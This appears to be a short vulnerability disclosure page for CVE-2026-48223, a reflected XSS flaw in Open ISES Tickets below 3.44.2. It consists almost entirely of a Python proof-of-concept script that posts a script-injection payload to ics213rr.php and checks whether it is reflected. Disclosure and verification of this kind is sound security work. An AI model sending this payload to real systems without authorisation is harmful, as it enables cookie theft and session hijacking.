CVE-2026-48223 Open ISES Tickets反射型XSS漏洞

import requests # Proof of Concept for CVE-2026-48223 # Target: Open ISES Tickets < 3.44.2 # Description: Reflected XSS in ics213rr.php via frm_add_str parameter target_url = "http://target-ip/path/to/ics213rr.php" # The payload attempts to break out of the input value attribute and inject a script # Example: "><script>alert('XSS')</script> xss_payload = '"><script>alert(document.cookie)</script>' # Data to be sent via POST request post_data = { "frm_add_str": xss_payload } try: response = requests.post(target_url, data=post_data) # Check if the payload is reflected un-sanitized in the response if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") print("[+] Check the browser console or alert dialog if testing manually.") else: print("[-] Payload not found in response. Target may be patched or input filtered.") except Exception as e: print(f"[!] Error occurred: {e}")